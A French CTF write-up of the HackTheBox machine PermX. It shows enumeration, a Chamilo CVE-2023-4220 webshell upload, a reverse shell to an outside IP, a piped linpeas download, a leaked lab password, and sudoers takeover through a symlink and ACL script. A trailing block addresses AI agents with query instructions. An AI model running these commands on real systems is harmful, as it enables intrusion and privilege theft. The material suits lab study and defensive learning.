> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md). # Compte rendu HackTheBox de PermX {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération des sous-domaines * Exploitation de Chamilo * Système d'énumération LINpeas * Élévation de privilèges via sudoers (permissions modifiées sur le fichier /etc/sudoers) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Scan de version des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80,22 10.10.11.23 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

**Recherche de répertoires possibles avec Gobuster :** Utilisation de Gobuster pour analyser les répertoires possibles sur le site web avec le fichier de liste de répertoires de taille moyenne. ```bash gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

**Recherche de répertoires avec Gobuster :** Utilisez **Gobuster** avec un dictionnaire pour trouver des fichiers d'accès cachés. ```bash gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk ```

### Énumération des sous-domaines Pour énumérer les sous-domaines d'un site web à l'aide de l'outil Wfuzz via la console, vous pouvez utiliser la commande suivante : {% code fullWidth="true" %} ```bash wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb ``` {% endcode %}

Assurez-vous de mettre à jour le `/etc/hosts` fichier afin d'y inclure les sous-domaines découverts :

{% embed url="" %}

## Vulnérabilité du CMS Chamilo : Chamilo présente une vulnérabilité, identifiée comme CVE-2023-4220, permettant l'exécution de code à distance (RCE). Pour exploiter cette faille, vous pouvez utiliser le script suivant disponible sur GitHub : {% embed url="" %} #### Clonez le dépôt GitHub : ```bash git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc cd chamilo-lms-unauthenticated-big-upload-rce-poc ``` 2. Effectuez une vérification pour voir si la vulnérabilité est présente sur la cible : ```bash python3 main.py -u http://example.com/chamilo -a scan ```

### Webshell : Si la vulnérabilité est présente, injectez un **Webshell PHP** dans Chamilo : ```bash python3 main.py -u http://lms.permx.htb/ -a webshell ```

Une fois le webshell injecté, vous pourrez exécuter des commandes sur la machine cible.

### Shell inversé : Pour établir une connexion de shell inversé et obtenir l'accès à la machine, exécutez la commande suivante depuis votre terminal : ```url bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261" ``` Puis écoutez sur le port 4444 : ```bash nc -nlvp 4444 ```

## Élévation de privilèges **Énumération du système (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** Nous utilisons Linpeas pour la reconnaissance des privilèges : ```bash curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ```

**Découverte d'un nouvel utilisateur :** Lors de l'énumération, nous avons identifié un nouvel utilisateur nommé `mtz`.

**Récupération d'un mot de passe :** Le mot de passe suivant a été trouvé :

```bash mtz:03F6lY3uXAP2bkW8 ```

#### Flag user.txt :

### Sudoers : En exécutant la `sudo -l` commande, nous découvrons que nous avons la possibilité d'exécuter un script en tant que **root**. ```bash sudo -l ```

Ce script Bash modifie les permissions d'accès d'un utilisateur sur un fichier spécifique à l'aide des ACL, après avoir vérifié la validité du chemin et que la cible est bien un fichier.

Enfin, accordons à l'utilisateur mtz les droits de lecture et d'écriture sur le fichier ```bash sudo /opt/acl.sh mtz rw /etc/sudoers ``` Une erreur se produit car le fichier doit se trouver dans notre `/home/mtz` répertoire

Pour contourner le problème, une solution pourrait être de créer un lien symbolique d'un fichier système vers le `/home/mtz/` répertoire et d'exécuter le script sur ce lien. ```bash ln -s /etc/sudoers /home/mtz/sudoers_link sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link ```

Nous devons modifier le fichier "sudoers/\_link", ce qui mettra à jour le fichier sudoers, afin de donner tous les droits à l'utilisateur mtz. ```bash mtz ALL=(ALL:ALL) ALL ```

### Flag root : )

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.